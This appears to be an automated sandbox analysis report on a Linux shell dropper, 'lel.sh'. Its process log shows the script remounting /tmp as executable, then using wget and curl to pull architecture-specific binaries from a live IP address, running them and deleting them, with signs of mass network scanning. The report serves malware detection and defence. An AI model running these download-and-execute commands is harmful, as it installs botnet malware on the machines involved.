Overview

overview

9

Static

static

1

lel.sh

ubuntu-18.04-amd64

9

lel.sh

debian-9-armhf

9

lel.sh

debian-9-mips

9

lel.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    39s
  • max time network
    42s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/09/2026, 09:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lel.sh
  • Size 1KB
  • Sample260925-lhzexsysfx
  • SHA256 97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd
  • MD5 SHA1 SHA512 TLSH
Score
9/10
defense_evasiondiscovery

Malware Config

Signatures

  • Contacts a large (154551) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Changes its process name 1 IoCs
  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lel.sh
    /tmp/lel.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /bin/mount
      mount -t tmpfs tmpfs /var/run
      2⤵
      • Reads runtime system information
      PID:713
    • /bin/mount
      mount -o "remount,rw,exec" /var/run
      2⤵
      • Reads runtime system information
      PID:716
    • /bin/mount
      mount -o "remount,rw,exec" /tmp
      2⤵
      • Reads runtime system information
      PID:722
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:726
    • /bin/chmod
      chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
      2⤵
      • File and Directory Permissions Modification
      PID:728
    • /usr/bin/wget
      wget http://143.20.185.213/x64s
      2⤵
      • Writes file to tmp directory
      PID:731
    • /usr/bin/curl
      curl -O http://143.20.185.213/x64s
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:741
    • /bin/chmod
      chmod +x busybox lel.sh systemd-private-7e799fbfd48d4091993ca3a81963b4e9-systemd-timedated.service-mOuYuK x64s
      2⤵
      • File and Directory Permissions Modification
      PID:745
    • /tmp/x64s
      ./x64s x64s
      2⤵
        PID:746
      • /bin/rm
        rm -rf x64s
        2⤵
          PID:748
        • /bin/chmod
          chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
          2⤵
          • File and Directory Permissions Modification
          PID:749
        • /usr/bin/wget
          wget http://143.20.185.213/mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:750
        • /usr/bin/curl
          curl -O http://143.20.185.213/mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:751
        • /bin/chmod
          chmod +x busybox lel.sh mips systemd-private-7e799fbfd48d4091993ca3a81963b4e9-systemd-timedated.service-mOuYuK
          2⤵
          • File and Directory Permissions Modification
          PID:752
        • /tmp/mips
          ./mips mips
          2⤵
          • System Network Configuration Discovery
          PID:753
        • /bin/rm
          rm -rf mips
          2⤵
          • System Network Configuration Discovery
          PID:755
        • /bin/chmod
          chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
          2⤵
          • File and Directory Permissions Modification
          PID:756
        • /usr/bin/wget
          wget http://143.20.185.213/mpsl
          2⤵
          • Writes file to tmp directory
          PID:757
        • /usr/bin/curl
          curl -O http://143.20.185.213/mpsl
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:758
        • /bin/chmod
          chmod +x busybox lel.sh mpsl systemd-private-7e799fbfd48d4091993ca3a81963b4e9-systemd-timedated.service-mOuYuK
          2⤵
          • File and Directory Permissions Modification
          PID:767
        • /tmp/mpsl
          ./mpsl mpsl
          2⤵
          • Renames itself
          • Changes its process name
          PID:769
        • /bin/rm
          rm -rf mpsl
          2⤵
            PID:772
          • /bin/chmod
            chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /usr/bin/wget
            wget http://143.20.185.213/armv7
            2⤵
              PID:776
            • /usr/bin/curl
              curl -O http://143.20.185.213/armv7
              2⤵
                PID:778
              • /bin/chmod
                chmod +x busybox lel.sh libcow.so systemd-private-7e799fbfd48d4091993ca3a81963b4e9-systemd-timedated.service-mOuYuK
                2⤵
                • File and Directory Permissions Modification
                PID:780
              • /tmp/armv7
                ./armv7 armv7
                2⤵
                  PID:781
                • /bin/rm
                  rm -rf armv7
                  2⤵
                    PID:782
                  • /bin/chmod
                    chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:783
                  • /usr/bin/wget
                    wget http://143.20.185.213/armv5
                    2⤵
                      PID:787
                    • /usr/bin/curl
                      curl -O http://143.20.185.213/armv5
                      2⤵
                        PID:788
                      • /bin/chmod
                        chmod +x busybox lel.sh libcow.so systemd-private-7e799fbfd48d4091993ca3a81963b4e9-systemd-timedated.service-mOuYuK
                        2⤵
                        • File and Directory Permissions Modification
                        PID:789
                      • /tmp/armv5
                        ./armv5 armv5
                        2⤵
                          PID:791
                        • /bin/rm
                          rm -rf armv5
                          2⤵
                            PID:792
                          • /bin/chmod
                            chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                            2⤵
                            • File and Directory Permissions Modification
                            PID:794
                          • /usr/bin/wget
                            wget http://143.20.185.213/aarch64
                            2⤵
                              PID:795
                            • /usr/bin/curl
                              curl -O http://143.20.185.213/aarch64
                              2⤵
                                PID:797
                              • /bin/chmod
                                chmod +x busybox lel.sh libcow.so systemd-private-7e799fbfd48d4091993ca3a81963b4e9-systemd-timedated.service-mOuYuK
                                2⤵
                                • File and Directory Permissions Modification
                                PID:799
                              • /tmp/aarch64
                                ./aarch64 aarch64
                                2⤵
                                  PID:800
                                • /bin/rm
                                  rm -rf aarch64
                                  2⤵
                                    PID:801

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      busybox
                                      • Path /tmp/busybox
                                      • Size 857KB
                                      • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      mips
                                      • Path /tmp/mips
                                      • Size 837KB
                                      • SHA256 87636741a0c01869a100e6d9d396eafe24d8392cd543af30f07d9c28291be1ce
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      mpsl
                                      • Path /tmp/mpsl
                                      • Size 837KB
                                      • SHA256 d8345bb95655a579aa299c71e68bed0efa65601eb3d2c99063d111d67fd2b3ba
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      x64s
                                      • Path /tmp/x64s
                                      • Size 951KB
                                      • SHA256 2aabae20e3321ad0e102a7a3fcf546115a310710110712dad7b43127fa0eb6b0
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download